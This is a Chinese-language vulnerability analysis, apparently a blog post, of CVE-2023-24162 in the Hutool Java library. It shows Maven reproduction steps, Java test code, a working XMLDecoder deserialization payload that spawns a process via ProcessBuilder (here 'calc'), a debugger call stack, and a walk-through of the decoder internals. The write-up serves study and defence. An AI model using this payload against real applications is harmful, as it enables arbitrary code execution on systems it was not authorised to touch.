hutool XML反序列化漏洞(CVE-2023-24162)

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据，当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

我们在 maven 仓库中查找 Hutool

​https://mvnrepository.com/search?q=Hutool​

​

​​

把依赖复制出来，添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.11</version>
</dependency>

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {public static void main(String[] args)  {XmlUtil.readObjectFromXml("<java>\n" +"    <object class=\"java.lang.ProcessBuilder\">\n" +"        <array class=\"java.lang.String\" length=\"1\">\n" +"            <void index=\"0\">\n" +"                <string>calc</string>\n" +"            </void>\n" +"        </array>\n" +"        <void method=\"start\"></void>\n" +"    </object>\n" +"</java>\n");}
}

​​

在项目目录下创建一个 bean.xml​ 文件，将 xml 放在文件中，构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;public class Test {public static void main(String[] args)  {File file = new File("bean.xml");XmlUtil.readObjectFromXml(file);}
}

​​

漏洞分析

整个漏洞分析下来相对来时是比较简单的，但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)​

​

当然这个地方也是可以通过读取文件来实现的

​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)​

​​

​cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)​

​

​java.beans.XMLDecoder#readObject​

​

漏洞本质上是 java 原生方法中的漏洞，XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

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漏洞修复

在最新版的 hutool-all 没有用黑名单，而是直接移除了 readObjectFromXml​ 方法，简单粗暴。

​​

XMLDecoder.readObject

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start"></void></object>
</java>

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object 标签，class 的值对应着实例化的全类名（java.lang.ProcessBuilder）

array 标签，class 的值对应着实例化的全类名对象构造的参数（ProcessBuilder 对象的构造参数）

void 标签，method 的值对应着 method 的参数 （start）

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

‍

为了方便看到整个调用联的流程，我们在触发漏洞的位置加上断点，分析其中经过了那些处理

​java.lang.ProcessBuilder#start​

​​

‍

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

‍

比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

​​

‍

先简单描述一下我的理解，然后再截图与之相对应，可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始，</​ 对应着结束

解析时会调用相对应的 Handler 进行处理，Handler 在 DocumentHandler.class​ 中被定义，通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行（这里描述比较简单，后面根据代码在详细描述）

‍

​com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​

​

这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT​

‍

​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next​

​

​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next​

​

‍

​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next​

​​

​com.sun.beans.decoder.DocumentHandler#DocumentHandler​

​

对应的 Handler 是根据节点返回的，最主要的漏洞触发位置应该是endElement​ 中

​com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement​

​

​com.sun.beans.decoder.DocumentHandler#endElement​

​

调用 StringElementHandler​ 对应的 endElement​ 方法 ，StringElementHandler​ 没有这个方法，调用其父类 ElementHandler​ 中 endElement​

​​

​com.sun.beans.decoder.ElementHandler#endElement​

​​​

​com.sun.beans.decoder.StringElementHandler#getValueObject​

​​

最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

​com.sun.beans.decoder.NewElementHandler#addArgument​

​​

接着将 handler​ 指向上一级的 handler​ VoidElementHandler​

调用 VoidElementHandler​ 对应的 endElement​ 方法 ，VoidElementHandler​ 没有这个方法，调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement​

​com.sun.beans.decoder.ElementHandler#endElement​

​​

​com.sun.beans.decoder.NewElementHandler#getValueObject()​​

​com.sun.beans.decoder.ObjectElementHandler#getValueObject​

​​

执行完后又有一个 <void method="start"></void>​

调试返回的结果

​com.sun.beans.decoder.DocumentHandler#endElement​

​​

​com.sun.beans.decoder.ElementHandler#endElement​

​​

​com.sun.beans.decoder.NewElementHandler#getValueObject()​

​

​com.sun.beans.decoder.ObjectElementHandler#getValueObject​

​

​com.sun.beans.decoder.NewElementHandler#getContextBean​

​​

​com.sun.beans.decoder.ElementHandler#getContextBean​

​

​com.sun.beans.decoder.NewElementHandler#getValueObject()​

​

​com.sun.beans.decoder.ObjectElementHandler#getValueObject​

​​

​com.sun.beans.decoder.NewElementHandler#getContextBean​

​

​com.sun.beans.decoder.ObjectElementHandler#getValueObject​

​​

​com.sun.beans.decoder.NewElementHandler#getValueObject()​

​

​com.sun.beans.decoder.ElementHandler#getContextBean​

​

​com.sun.beans.decoder.NewElementHandler#getContextBean​

​​

​

继续执行，最终触发命令执行

​com.sun.beans.decoder.ObjectElementHandler#getValueObject​

​​

后一部分很像套娃

​​

整个过程冗长繁琐，建议自己调试分析一下，可能了解的更加清楚。